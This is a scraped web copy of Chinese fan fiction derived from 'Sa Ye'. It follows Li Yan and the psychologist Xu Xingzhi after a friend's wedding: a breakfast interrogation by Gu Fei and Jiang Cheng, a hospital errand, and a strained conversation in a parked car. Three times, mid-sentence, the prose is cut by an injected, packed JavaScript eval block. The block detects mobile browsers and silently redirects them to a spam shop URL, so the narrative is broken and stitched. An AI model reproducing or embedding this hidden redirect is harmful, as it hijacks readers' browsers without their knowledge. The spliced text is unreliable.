说完后潘智就忙不迭把酒杯往桌上一放,转过身去了,看得出是用手捂了捂眼睛,又揉了揉鼻子。 肖老板相对冷静一点,这会也不像平时呛他,而是轻轻用手拍着潘智的后背,柔声对他说:“酒还没喝,你刚说的话不一定算数哦。” 话音刚落,潘智就立刻回过身来,把酒一口灌进了嘴里,深吸一口气,语气尽量控着平稳,带了点不好意思,“说这些就激动,没办法,他俩懂。”说着潘智就指了指蒋丞和顾飞,蒋丞笑着抹了一下眼角,顾飞在台子底下捏了捏蒋丞的手。 “我们智智就是这么可爱,”肖老板其实也有点不好意思,开着玩笑过渡着气氛,“大家吃好喝好啊,也算是找个由头难得大家聚一聚,尤其李老板,这么大老远过来。” “哎没有的事,兄弟婚礼,来是应该的,”说着李炎就拿起了酒杯举了过来,“新婚快乐。” 肖老板也是女中豪杰,一杯酒毫不含糊,直接干了。 许行之刚刚其实注意到,潘智在表心意的时候李炎也有一些触动,他就盯着桌子上反着放的金属勺子,可目光却不聚焦,整个人看着特别空,直到被肖老板点名,李炎身上的这股空劲儿才消失。 这顿饭吃得很愉快,都是许久不见的老友,两句三句那种熟悉感就回来了,大家也都挺随意的,桌上的大家都没为难新娘子,倒是潘智挨个敬酒的时候,几个好兄弟都诓着骗着他多喝了几杯,大家红包也给得爽快,看得出来都不是什么大金额,是和礼数无关的祝福。 蒋丞和顾飞都向许行之敬了酒,主要还是感谢顾淼的事,许行之也爽快,只是摆手说不用都干了,随意就好。 顾飞给李炎敬酒的时候,李炎和许行之心里都咯噔了一下,顾飞说是虽然是亲兄弟,但上次钢厂之行还是要感谢李炎作陪,这俩人喝酒跟喝水似的,一杯酒直直就顺了下去,末了李炎就说了句亲兄弟还这么客气,下回可要当表兄弟了,惹得桌上一通笑。 话都到这了,许行之不敬酒么? 见着李炎的酒见了底,自己也就剩了小半杯,许行之对着赵柯招了招手,赵柯立马懂了他的意思,开了瓶酒递给许行之。 拿过来后,许行之先往李炎的杯子里倒上了七分,然后才往自己酒杯里也差不多倒上了七分,许行之说:“敬你一杯?” “敬酒还要用疑问句,你心不诚啊,许医生。”李炎直接对许行之说,“还差点意思,满上。” 许行之低头笑笑,又给俩人的酒给倒满了,正经拿起杯子放到两人之间的位置,“谢谢。” 李炎伸了右手,拇指和中指捏起了杯沿,整个拿酒的姿势十分随意,几乎轻轻甩着过来和许行之碰杯的,叮的一下之后,李炎也回了一句,“不客气。” 两人都没有犹豫,满满一杯酒,一口气不带喘的都喝了下去。 顾飞和蒋丞对视了一眼,没说话。 这一杯酒下去,食道里火辣辣的,就赶紧都夹了些菜吃,其实这两人在席间都没怎么说话,更多是听别人怎么说,许行之本来就不是多话的性子,而李炎更多的是不知道说什么,一桌子不是老板就是高材生,他其实吃得心里有点憋屈,更准确地来说,没什么安全感,不像和刘帆他们吃饭的时候那么自然。 离席的时候差不多是晚上九点多,潘智这会儿已经有点不省人事了,就知道抱着肖老板哭,大家伙儿好不容易把他俩送上了车,蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“让我再猜猜,”李炎除了抽烟,整个人都没有多余的动作,但许行之总觉得他在光下摇曳,就像他吐出的烟雾一样,神秘缭绕,“失恋?” 许行之睁了睁眼,叹了口气,“是啊,失恋。” “多大点事,”李炎这会儿倒走了过来,随意地在许行之肩膀上拍了拍,“让你这精英人士又抽烟又闹情绪的。” 许行之笑了笑,“三四年过去了都,现在安慰是不是太晚了。” “那会儿也安慰你了,”李炎说,“给了你六个棒棒糖呢。” 许行之又接不上话了,只好点了点头说谢谢,又想起来问李炎,“你住哪儿?” “附近随便找个酒店吧,火车站附近找也行,我溜达溜达,你回去吧,不还叫代驾么。” “行。”许行之总感觉话没说完,但看李炎的样子,他们之前发生过的事情,似乎一点也没放在心上,他在想,是不是自己太敏感了,心里又感叹了句自己怎么矫揉造作起来了。 “哎,”李炎在许行之转过身去取车的时候喊住了他,“许行之!” 转过身去的时候正好有个亮晶晶的东西快要落到自己面前,下意识伸手接住了,这么小个东西砸得手挺疼,是指甲钳,刚看了一眼就听到李炎又说了句,“这个上次忘了还你。” 许行之没回答,背对着李炎挥了挥拿到了指甲钳的手。 代驾来得很快,许行之坐在后排看着高架上往后飞驰的灯,一盏一盏,捏着指甲钳的手一直没松开。 不知道是不是喝了酒的关系,许行之回到家觉得浑身都热,想着去厨房取些冰块喝个冰水,却看到了躺在制冰格边的棒棒糖,他这才想起来手里还握着李炎还回来的指甲钳,他也不知道为什么,摊开手捧着就闻了闻。 啊。 是和那件藏青色衣服一样的香气。 他眨了眨眼睛,咽了口唾沫。 9. 第9章 当天晚上李炎在附近逛了一圈,酒店不是满房了就是普通的大床房没了,抽着烟溜达了两条街,还是打了个车去火车站附近,看到有个199一晚的老式旅店,没犹豫就住下了,这次来自己也背了个书包,里面就一天的换洗衣物。李炎走到窗边拉下了老式的百叶窗,手指又插到缝隙里撑开往外看了看,这里的晚上,比自己来的那个小城,亮太多了。 洗澡前李炎解开头发,皮筋儿顺手就放在了床上,他这才注意到这根皮筋也很久没换了,纯黑色的发圈,现在看着好像都有些松垮,明天去买个新的吧,他想。 热水从头顶上浇下来的时候,头发顺着水流贴在了额头上、脸颊上,一直到下巴上,有些特别长的发尾贴到了后脖颈。他取了沐浴乳擦身的时候,回忆着饭桌上潘智对肖老板许下的诺言,真……不错啊,这种白首偕老天长地久的词儿,光说出来,就很需要勇气了,有点儿羡慕,还有点儿……发堵,他不知道这辈子还有没有机会碰着这样的人了。 洗完澡出来发现手机上有一条未接来电,是顾飞的,没犹豫,李炎就给拨回去了。 “喂?你找我?”李炎说。 “你明天什么时候的车?”顾飞的声音很轻,话筒里又传来的脚步声,应该是在挪地方。 “下午一点多。” “那我们明天上午见一面,我来找你。”顾飞顿了一下又补了句,“有事儿。” “行,我住的地方对面有个汉堡店,就那吧。一会地址我发你。” “好。” 其实有点摸不着头脑,顾飞能有什么事儿,顾淼在身边,他妈身边有刘立,不过有事儿就有事儿吧,明天聊了就知道了。 李炎没想到的是,第二天上午顾飞和蒋丞都来了,他看着自己面前的可乐和汉堡,还没等他们开口,就对两人说道:“我去给你俩买点吃的。” 顾飞把他摁下了,让他坐好,李炎一下就笑了出来,“什么事儿啊,你俩这么大阵仗?” “你和许行之,”顾飞顿了顿,右手食指在桌面上轻轻敲了敲,“怎么回事儿?” 李炎脑子里闪过了一句话,若要人不知,除非己莫为,老祖宗的话,真他妈有道理。 “没怎么回事儿啊,”李炎想着就往裤兜里摸烟,“我跟他能有什么事儿。” “这儿禁烟。”蒋丞说了句,李炎的手就停了。 “没事儿你摸什么烟啊?”顾飞说,“我记得你烟瘾也没这么大啊。” “许行之昨天喝的那几杯酒,就只有跟你那杯是都干了的。”蒋丞跟了句,“说说。” “合着你俩赶个大早是上我这来听八卦的啊?”李炎嘬了一大口可乐。 “快点儿,没耐心了要。”顾飞又说。 李炎咽了口唾沫,摆楞了两下自己扎起来的小发髻,心里弯过了九百六十道弯,话到了嘴边又猛刹,最终还是叹了口气说了,“就……那什么了一下。” “操!”顾飞和蒋丞同时发出一声惊叹。 “哪什么了一下?”蒋丞之前从来没把他俩联系在一块儿过,吸了口气脑袋往后挪了挪。 李炎清了清嗓子,又喝了口可乐,“反正,不是像你们那样。” “我去,”顾飞直接指了指李炎,“你他妈给我好好说话啊,哪什么了?” “操,局外人好吧局外人!”李炎声儿一下大了起来,“就他妈——” 撸这个字还没说出口,蒋丞就拿汉堡塞进了他嘴里,压着声儿对他吼,“公共场合,注意点儿!” “真行啊,你真行,你可真行啊。” 顾飞的真行三连一下给李炎弄不会了。“啧,怎么了,许行之不是人?不能做?” “我就知道,”顾飞在桌子上拍了一下,“许行之平时挺冷的一个人,怎么会夸你招待周到。” 李炎没说话,脑袋歪了歪,反正说开了,过了个夜么,也没什么。 “你俩,谁主动的?”蒋丞问李炎。 李炎看了眼蒋丞,“你俩谁主动的?” “我俩谁主动的都凑一块儿过了,”蒋丞说,“问你呢。” “他主动的。”许行之拉的他,许行之抱的他,许行之吻的他,那肯定是许行之主动的。 “我操……”蒋丞一手捂住了眼睛,“你让我冷静下。” “怎么了啊,我他妈看起来很丑吗?”李炎有点儿哭笑不得。 “不是不是不是,就是,许行之——我想象不出来。” “再帅再冷也是个男人。”李炎说得倒是坦然。 “你没,”顾飞话头顿下了,应该是在找词儿,“刺激他?” 李炎乐了,笑着说:“哎,大飞,早来个六七年,我肯定刺激他,都到这会儿了,就不爱找刺激了。” 接下来顾飞和蒋丞都沉默了,见他俩不说话,李炎自顾自地吃起汉堡来,嚼的时候觉得后牙槽发酸,虽然他知道顾飞和蒋丞不会这么说,但他也有点害怕再听到像他爸和他说的那些话,这些话,也算不上是他爸说的,而是直接摆在眼前的事实,但他真的不想听,他对许行之有没有想法这点虽然还没有弄明白,但这些话就好像就在对他说,你不配和许行之在一起,你够不上这样的人。 “李炎,”顾飞开了口,“许行之挺好的,虽然看上去冷了点,但他心地善良也有耐心,二淼能恢能复到现在的情况都是他在帮着想办法,你……要不把握一下。” 蒋丞也跟着顾飞点了点头,“你比我俩大吧,道理不说了,试试?” 这小两口说的话,让李炎有点儿措手不及,他预设的预判的那些,都没有出现,反而是让自己试试,嘴里还叼着汉堡里的半片白菜,愣了好几秒,说出口的话却有点儿找抽,“你俩没开玩笑吧?我和许行之?” 顾飞和蒋丞点了点头。 “我和他不是一路人,”李炎把之前和顾飞说过的话又给顾飞说了一遍,“上床可以,谈别的太玄幻。”* “你真不想玄幻一把?”顾飞问他。 李炎用左手无名指挠了挠额角,“说真的,你俩没来说让我放弃幻想,让我离他远点儿啥的,我就挺意外的了,但是吧,”李炎顿了顿,“我和许行之,我自己都不敢往后想。” “为什么?”蒋丞问。 “他不会离开这里,我也离不开钢厂那边,”李炎非常坦白,说出来的话好像不是第一次思考了,“钢厂那边,没有适合他的工作,而我在这里,也没有归属感。总不见得和小年轻一样,玩异地恋吧?还是个长期异地恋?” “我和他,不可能的。”李炎下了结论。“所以上次也只是意外罢了,你看我们在饭桌上也没有什么尴尬。他应该也是这么想的。” 又停顿了一会儿,李炎再补了一句,“何况我俩现在也谈不上有什么感情,说这些,太早了。” 三个人沉默了许久,再开口的时候就没有再围绕着李炎和许行之的问题了,没感情还说什么,难道因为一个冲动就认为自己喜欢对方?要谈恋爱?顾飞十七岁的时候还想了一晚上呢,有些问题搁三十来岁的时候,更难下结论。而且,一些很现实的问题现在目前看来的确是无解。 解决不了的问题,就先在那儿放一会儿吧,债多了不愁,虱子多了不痒,人生问题那么多,没必要遇着问题了就想着解决,可能放一会儿,想问题的人放弃了,那就没有问题了。 顾飞和蒋丞到底买了两份套餐,陪着李炎一起吃了午饭,本来他俩是要送李炎进站的,李炎说不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338560|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦了,也不是小孩子,现在高铁这么方便,让他俩没事儿也回钢厂看看,他有空也会常来。 最后一句话是假的,只有李炎知道。 过了安检后李炎找了个位置坐下,看了看时间还早,他没想到顾飞和蒋丞这么早过来,打了个哈欠刚想在椅子上歇会儿,语音电话铃突然响了,估计又是不知道谁来约修车的,李炎慢悠悠地拿出了手机,竟然是许行之。 许行之?! 因为刚刚和蒋丞顾飞聊过许行之,他现在有点抗拒这个名字,犹豫着要不要接这个电话,可这铃声也没有要断的意思,李炎还是决定接一下,拇指刚要摁下那个接听的绿标,铃声断了,李炎无声地骂了句操,果然和这个人没什么缘份。 就当没看见吧,李炎又把手机放了回去,这刚放下去手机又响了起来。 真他妈的,没缘份也就算了,连节奏都没办法凑到一块儿,烦!给李炎气得,看都没看,直接接了起来,没好气地说了一句,“干什么!?” “臭小子,问你他妈什么时候回家!”原来是他爸啊,李炎松了一口气。 “在候车室了,有人来找麻烦了?”李炎问。 “没有,就是有辆车仨小子修不好,等你回来弄呢。” “知道了,我回去了就去看看。” “嗯,挂了。” 他知道他爸为什么给他打这个电话,虽然可能真的有车要修,但也是在提醒他,出去转悠了别忘了回家,李炎笑着摇了摇头,也是之前年轻的时候老想着往外跑不回家,给他爸整怕了吧。 想了想还是给许行之回个电话吧,既然俩人什么事儿都没,又有什么事是说不开的呢。 许行之的语音电话铃声猫叫,李炎突然想到了好几年前他带到钢厂的那只大白长毛猫了,任摸任抱脾气好,就是实在是胖,跟小猪崽儿一样。 “李炎。”许行之的声音从电话里传过来。 “嗯,找我?” “有个事想请你帮忙,不知道你方便吗。” 文化人就是有意思啊,先说有事找我帮忙,再问我方不方便,你打电话之前怎么不问问我方不方便呢?李炎到底是压制住了心里的想法,保障了自己的素质水平,“什么事?” “上回钢厂的调研有了初步的分析报告,那边急着要,说明天下午上级领导来巡察,正好作为主题汇报上去,”许行之说得很急,声音气息还有点不稳,“你上车了吗?没上车的话,能不能帮我顺回去?这寄快递最快也要后天一早到了。” “行是行,文件你怎么给我?”李炎问。 许行之那边沉默了一会儿,李炎喂了一声,许行之才接着往下说,“我这有个病人情况不太稳定,临时来了医院,实在是抱歉,能麻烦你来医院拿一下吗?三院心理临床医学科,门诊大楼三楼307办公室。” 好家伙,不仅让我当快递,还让我干跑腿? 但听着听筒里慌乱的脚步声,还有不知道谁大声喊的一句“许医生!”,李炎的心就软了,“知道了,你先忙,我到了和你说。” “谢谢!”许行之没控制住音量,应该是太着急了,话一个劲儿地往外冒,“对了你到了直接打我电话,语音通话我可能听不见,一会儿发你手机上。谢了啊!” 电话挂了,李炎刚刚的闲散一扫而空。火车票改签、查三院的地址和交通…… 虽然忙碌,但心里意外地比之前刚坐下的时候要舒畅些,在收到许行之电话号码的时候,甚至还多了些期待。 尾号是8575啊,李炎的嘴角勾了起来。 他想,如果许行之知道自己此刻正在想什么的话,一定会觉得自己弱智吧。 *原句引用巫哲《撒野》第136章 10. 第10章(捉虫) 从南站到三院总共就七站地铁,李炎感慨就算是周末中午,地铁的人流量也大得惊人,他有一些不知所措,明明上车的时候有座位,他还是找了个门边的角落站着,到三院的时候,下车的人不少,上车的人更多,周围的人有些拎着CT的片子、装药的印着三院名称的塑料袋、扎成捆的被褥、脸盆……在医院大门的时候他还顺手给一个扛着巨大蛇皮袋的老太太搭了把手,老太太回过身看他的眼神让他觉得有点难受,无奈、又透着勇敢,医院周边充斥着这种情绪,他深呼吸了一口气,才踏进门诊大楼。 上了三楼后,李炎找到了307室,李炎还特意在门口看了看,上面没有挂着许行之的照片,甚至连诊室门口的招牌都没有,门上也没有小窗,刚想敲门,门却从里面开了,走出来一个女医生,戴着眼镜,她上下打量了李炎一下,说:“找哪位?” “我找许医生,许行之。”李炎回答。 “门诊在七楼,这里是办公室。”女医生对她说。 “哦,他让我在办公室等他。”李炎看她还是有点戒备,“或者哪里方便我等他一下的吗?” “笔直往前走有个平台,”或许是看他看出了心里所想,女医生带着歉意地补了一句,“不好意思啊,我离开后办公室就没人了,如果等不及的话,你给许医生打个电话吧。” “哎好的,谢谢。”李炎看了看时间,还早,女医生说完后就离开了,他就顺着女医生说的,走到了三楼的平台上。 严格来说,这个平台是门诊大楼三楼的楼顶,三楼以上的楼没这么宽了,所以就多了这么个平台,跨出去可以看到有两个垃圾桶,垃圾桶上还有公共烟灰盆,上面有个金属牌子写着“吸烟处”三个字,李炎皱了皱眉,放得这么隐蔽,谁能找着上这儿来抽烟,但他还是点燃了一支,竟然是烟盒里最后一支了,也是,昨晚这么个抽法儿,早上又被顾飞蒋丞这一顿拷问吓得,都没想起来去买烟,烟雾升腾的时候,李炎的眼睛也顺势往上看了看,怎么感觉好像在哪里见过,好像……就是……是吗?李炎拿出了手机,打开了许行之的朋友圈,什么时候设的三天可见?李炎摇了摇头,觉得许行之这人实在是没意思。 一支烟过后,李炎觉得时间差不多了,就给许行之打了个电话,没想到他很快就接了。 “你人呢?” “我到了。” 两人同时说了话。 “在哪儿呢?” “你在哪儿?” 又异口同声了一次。 “刚刚去你们办公室,有个女医生说办公室没人我不太方便进去,我在三楼的平台这里。”这次李炎没有让,直接说了一串。 “等我一下,我来找你。”许行之说完了就把电话挂了,也没给李炎应答的机会。 李炎插着口袋向上看的时候,更加肯定了自己的猜想,这就是许行之发朋友圈的地方,右下角墙面的角度,因为他连发了六张,李炎的印象还挺深刻。 “李炎。”许行之在李炎背后喊了一声。 “哎在,许医生。”李炎转过身对许行之笑了笑。 “不好意思啊,改签了吧,”许行之带着李炎往办公室的方向走,“还要麻烦你跑一趟。” “小事,别客气。” 许行之把李炎安排在了自己的位置上,又给他倒了杯水,才拉过了一张椅子坐在李炎的旁边,从文件收纳盒里拿出了个挺厚的牛皮纸袋,又找了个塑料袋包上,交给了李炎。 “这钢厂工会那要的文件,晚点我把对方老师的联系方式给你,我也会和他说一声。”许行之不着急的时候说话慢条斯理的,声音偏沉很好听,有一种能让人镇定下来的舒缓。 “好。”李炎立刻就把文件袋放进了书包里,然后站起身,“那……走了?” “啊,好,不好意思啊,给你添麻烦了。”许行之其实想说要不等水喝完了再走,但说出了口却是另外一层意思。 李炎刚要背上包,就响起了敲门声,没等许行之说请进,门就被推开了,是肺循环科的邱立勤医生,也是周宇琛的师兄,两年前周宇琛申请去了普林斯顿大学深造,他私下来问过许行之知不知道什么情况,那会已经与他分手一年了,许行之也如实向告了他两人并没有联系,邱立勤觉得惋惜,科室里这么过好苗子就这么离开了,许行之没有多说,他也不知道该怎么说,人都有自己的选择。 “许医生,我们科有个患者……”匆忙进来的邱立勤这才注意到有个长发黄毛的男子坐在许医生的位置上,而许医生自己却坐在一边拉过来的椅子上面,但都已经进来了,还站到了黄毛的面前,反应过来的时候才停下来没说话,转过头看着许行之,“不好意思,我打断咨询了吗?” 本来李炎没觉得什么,这句话倒有些点着他了,怎么的,自己看起来那么像有病的样子啊? “没有,”许行之站了起来,“不是咨询。” “哦……”邱立勤有点摸不着头脑,“那你和病人家属继续沟通,我也不是很着急。” 李炎没忍住清了清嗓子,不是病人就是病人家属,这人就不能先问问是谁吗,偏要一个个自己猜啊。 “也不是病人家属。” “那……”邱立勤这会儿有点着急了,“那我现在和你讨论方便吗?” “是我朋友。”许行之没有回答邱医生的问题,倒是先直接亮明了李炎的身份。 邱医生有多关心李炎是谁许行之不在乎,可刚刚的两个身份李炎心里听着不一定舒服,其实说不说都无所谓,但他就是不想李炎心里不舒服。 “朋友啊。”邱立勤脸上有了些其他意思,语气上还多了些揶揄,“那现在——” “现在不方便,如果你不着急的话,晚点联系。”许行之送客的意思很明显。 “哦哦,好的。”邱立勤拿着手上的病例就往门那走了,一边走着还一遍抱歉,“不好意思不好意思,你们继续。” 这一通操作下来,李炎倒有些不好意思,一开始的不爽也消失了,说自己是朋友也就算了,打扰了什么,又要继续什么?许行之在同事面前都是公开的吗,他这么勇? “来我们办公室的不是病人就是家属。”许行之想了想还是解释了一下,“你别介意。” “没事,正常。”刚刚好像来火的不是自己似的,李炎这会儿倒大度。“走了啊。” “你等等,”许行之叫住了他,“你改得几点的车?” “六点四十的,怎么了?”改签的时候李炎不确定下午要多久,于是就往晚了的时间改,也不至于耽误事。 许行之抬了抬手腕看表,“现在还早,我下午没门诊,我送你去火车站吧。” “不用,”李炎惊讶了一下,“我就是从火车站坐地铁来的,认路。” 许行之抿了抿嘴不说话,他不知道为什么突然就想送李炎去火车站,可能是因为请他帮了忙却没有答谢,也可能是因为刚刚邱立勤的那句话,但李炎的拒绝却让许行之无法再次把想送他的这句话再说第二遍,太奇怪了,三十来岁的男人了,坐地铁比坐车更方便,还能直接进站。 “算了,你送我吧。”正当许行之不知所措的时候,李炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338561|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接说了,“就当你谢谢我了。” 李炎背着包,就站在许行之的办公桌边看他收拾东西,桌上有很多心理学类的书,书页边上有许多不同颜色的半透明磨砂条,层层叠叠地很好看,许行之桌上的笔不多,清一色的黑色水笔,还有一支老式的钢笔,还有就在面前的白色A4纸,上面横着、竖着、斜着都写着字,笔锋苍劲有力,每个棱角都清清楚楚,中文字都认识,就是连起来不知道什么意思,英文的连笔很好看,不是那种花里胡哨地,反而能看清每个字母,李炎就这么安安静静地在边上看桌上的这些东西,直到眼前的A4纸被捏成了团拿走,李炎才下意识地说了句话,“哎你别扔啊。” “草稿纸,”许行之手上拿着个纸团,“不能扔?” 李炎这才意识到自己刚刚说的话有多突兀,他觉得山猪吃细糠把自己吃迷糊了这是,清了清嗓子,随便找了个借口,“我以为你还有用呢。” “没有,”许行之把纸团递到了李炎面前,“你要?” “扔扔扔扔。”此地不宜久留,李炎先出了门,他知道烟盒里没有烟了,但还是补了一句,“我出去抽根烟。” 李炎出去了之后许行之才笑了起来,他知道李炎看得有点儿入神了,也是临时起意逗他的,拿着包要出门的时候,突然想起了藏青色T恤和蓝色指甲钳的香气,其实自己挺愿意和李炎呆在一块儿的,自然、舒适还有点新奇,想到这他突然明白自己会开口说想送他了,许行之心里叹了一口,因为……要见他一面实在是,不太容易。 去三楼平台叫李炎的时候发现他没在抽烟,而是就这么两手插袋看着天,许行之没叫他,也往天上看,但李炎和快意识到旁边有人来了,对许行之说:“你看什么呢?” 许行之对李炎笑了笑,“你看什么我看什么。” “啧,欠抽呢,”李炎皱了皱眉,“别以为在你地盘儿我就不敢揍你啊。” “别看了,走了。”许行之说。 李炎没动,问了许行之一个问题,“你为什么朋友圈三天可见啊?” 许行之有些意外,睁了睁眼睛等他的后续。 “我想求证一下,”李炎的下巴往上抬了一下,“这儿,是你拍照片的地方吗?” 许行之看了李炎至少有十五秒,从他脸上的表情从疑惑转向了不耐烦,才回答了他,“是。” “哦,”李炎转了身,要踏回楼里,“你……的事,医院都知道?” “差不多吧。”许行之回答得轻巧。 “包括分手?” “包括分手。” “是这里的医生?” “以前是。” “哦。”李炎伸手挠了挠头发。“走吗?” “走。” 两人一路无话,倒是有几个和许行之打招呼的护士,眼神时不时会看几眼李炎,然后凑在一起小声说话,许行之一路坦然,除了打招呼连旁边看都没看,李炎倒是有些不自在,终于走到停车场的时候几不可闻地呼了口气。 “哎呦,大款啊。”看见车的李炎忍不住感叹了句,还伸手摸了摸沃尔沃S90的引擎盖。 “还好吧,不算大。”许行之解锁了之后问李炎,“想开吗?” “不想,”李炎也不客气,打开了副驾的门就坐了进去,“开这款车的人,闷骚。” 许行之乐了,也坐了进去启动了车,系安全带的时候笑着问李炎,“我闷骚吗?” 李炎这会儿却转过了头,也不知道车窗外的停车场有什么特别,小声地说了一句话,“闷不闷骚你自己知道。” 11. 第11章 “你怎么不直接把我往进站口送啊?”李炎问。 三院离火车站并不远,周末也碰不上什么车流高峰,不过半小时,许行之就把车停到了地下停车场里,拉好了手刹却没有熄火。 “还早呢吧,现在才四点五十。” “说不定安检要排队,我还想在里头找个位子坐躺会。”李炎说。 “在车里躺也一样,我帮你放下来?”许行之说。 “不用不用。”李炎觉得许行之有点反常。 “你很赶时间?”许行之又问李炎。 这种循循善诱的话,李炎听着就感觉像有个人一直把他往坑里带,他本能地有点想逃离,他深呼吸了一下,没有答许行之的话。 许行之终于还是说了出来,“我想跟你谈谈。” 这句话在潘智婚礼的当天晚上,许行之就像想和李炎说了,能逮着李炎的机会不多,别说见不着面了,见着面的时候人也能用一个指甲钳把自己想要说的话堵上,但这会儿两人坐在车里,完全封闭的空间,没有外界因素的干扰,李炎不得不面对他,即使不看他也好,不听他说话也好,都没关系,这些表达对许行之来说都是附属品,只要他坐在自己的面前,就算是太阳穴上的青筋动了动,他也能明白那是什么意思。 见李炎还不说话,许行之问他,“要抽烟吗?” 李炎这才开了口,“昨晚一直没买,没有烟了。” 许行之打开了副驾面前的抽屉,手伸进去掏了掏,摸到了自己在车里备着的烟,递给了李炎,李炎接过去的时候看了一下牌子,明显地睁了睁眼睛,却没有打开烟盒,而是握在了手里,又把手搁到了大腿上。 “抽不惯?还是不喜欢?”许行之问李炎,“平时停车困难的时候给保安准备的。” “你要谈什么?”不管了,不管要谈什么李炎都觉得要尽快结束这场对话,这样狭窄的空间里只有他和许行之两个人,他觉得自己跟在他面前裸|奔没什么区别,“谈那天晚上?没想到你还有售后回访呢。” “所以,”许行之的话里没有情绪,或者说,故意收起了情绪问李炎,“你觉得那天晚上怎么样?” “你有病吧,许行之?”李炎觉得又好气又好笑,还真他妈是事后回访呢,“怎么样,你是怎么爽的,要我帮你回忆一遍吗?”李炎把手里的烟盒直接扔在了副驾的挡风玻璃前,作势就要下车,他妈的,城里人耍流氓呢在。 许行之一把握住了李炎的左手臂,“我不是那个意思,”手上的力道没有松,但许行之说得还是慢条斯理的,“那天晚上之后,你有想过什么吗?” 李炎一把甩开了许行之的右手,“想什么,我和你吗?”忍不住冷笑了一声,“你是要跟我谈谈,还是只是想听我的想法?” 这下轮到许行之沉默了,在问问题方面,许行之自认是高手,从来掌握节奏、从来把握主动,没想到李炎却直接在自己的问题上找到了破绽,还咬文嚼字地回问了过来。 我弄不清楚,所以才来问你的。如果这么回答李炎,肯定会吃个脑瓜嘣的吧,以他的手劲,脑门少说得鼓个包。 “你没想法吧,许行之?”李炎说出来的话让许行之越来越无法招架,这场对话里,李炎才像那个拿着隐形手术刀抽丝剥茧的医生,而自己才是那个被观察的病人。“我也没什么想法,天气闷热、酒喝多了、灯断电了,不小心碰到了,就开始了,那只是一场意外,咱俩也不是什么愣头青了,就不跟这儿演什么冲动的惩罚了。” “好的我知道了。”许行之的回答很简单,却让李炎觉得有点烦躁。 “还要接着谈吗?”李炎问他。 “不用了吧,”许行之又反问李炎,“你有什么想问的吗?” “没有,我没有事后回访的习惯。”李炎烦躁地一把扯掉了自己的皮筋儿,头发松散下来,发尾落在了锁骨这里,“记得把联系人发给我,文件我会送到的,我走了。” 没有等许行之说话,李炎自顾自地下了车,门砰地一声关上了,说不清是无意还是故意甩的车门。 李炎离开后,许行之在车里坐了很久,脑子里没有太复杂的想法,只是一直惦念着,他下车了后怎么也没扎头发,他会在候车室扎吗,还是等到上了高铁再扎,仰着头靠在座椅靠背上的时候,这几个不伦不类的问题在脑子里盘旋了很久,盘旋到许行之的眼皮都耷拉了下来,困意像潮水一样把自己淹没,最后邀请人家在车上躺一会的人自己躺下了,闭着眼睛直接睡了过去。 是电话叫醒自己的,许行之醒过来的时候有点恍惚,还在想自己怎么在车里,摸索到了掉在车椅和中控之间的手机,也没看是谁,直接接了起来,一张口才发现哑得厉害,“……喂?” “联系人电话呢?”是李炎打过来的,质问的语气转成了关心,“你怎么了?” 许行之把椅背调直了,清了清嗓子,声音还是有点刚醒过来的沉,“没有,睡着了。” 这会儿李炎已经坐上了车,还有三分钟就要开了,这俩小时他也过得不痛快,主要是觉得刚刚自己车门关得大声了点,还有就是……说的话也多少有点过了,也想确认下许行之现在的状态,这人快俩小时过去了,也没把联系人发来,正好借着这个事儿打个电话。 “你在哪儿呢?” “停车场。” “不要命了?”李炎的声音着急了起来,“闷着车睡觉?” “没熄火,窗也开了条缝的。”许行之顺手开了免提,把联系人和电话从微信上给李炎发了过去,“发给你了。” “收到了,”李炎的声音软了下来,“回去睡吧,费油。” “嗯。”许行之不太想挂电话,又把免提切回了听筒,刚睡醒的时候人总是有点脆弱,何况李炎的声音透着听筒过来还很好听。 “我这快发车了。”李炎说。 “嗯。” “你被绑架了?”话筒那边的李炎声音染上了些笑意,“被绑架了你就哼哼两声。” “没有,”许行之顿了顿,“你想听的话我可以哼哼两声。” 这话说出来后两人都沉默了,确实,有点暧昧了,好像刚刚厘清上次是个意外的不是这两个人,谁都没有提挂电话的事,也听不见彼此呼吸的节奏,一个在高铁上,一个在车里,却都握着电话没有放,直到高铁的发车广播响了起来。 “要开车了。”李炎说。 “好。”许行之清了清嗓子,“一路顺风。” “嗯。” 李炎刚要说出口的“挂了”被许行之的一句“到了告诉我”堵上了,他还不太习惯被人惦念,许行之的这一句话让李炎心里一酸。 没听见李炎回应,许行之又追了一句,“听见了吗?” “什么?”他有点想再听一遍。 “到了告诉我。”于是许行之又说了一遍。 “好,知道了。” “挂了?”虽然说是要挂电话,许行之却用了疑问句。 “嗯,挂了。”李炎说。 高铁已经发车了,月台已经倒退到看不见的地方了,窗外地上的铁轨交错,天是暗了一些的蓝色,却能 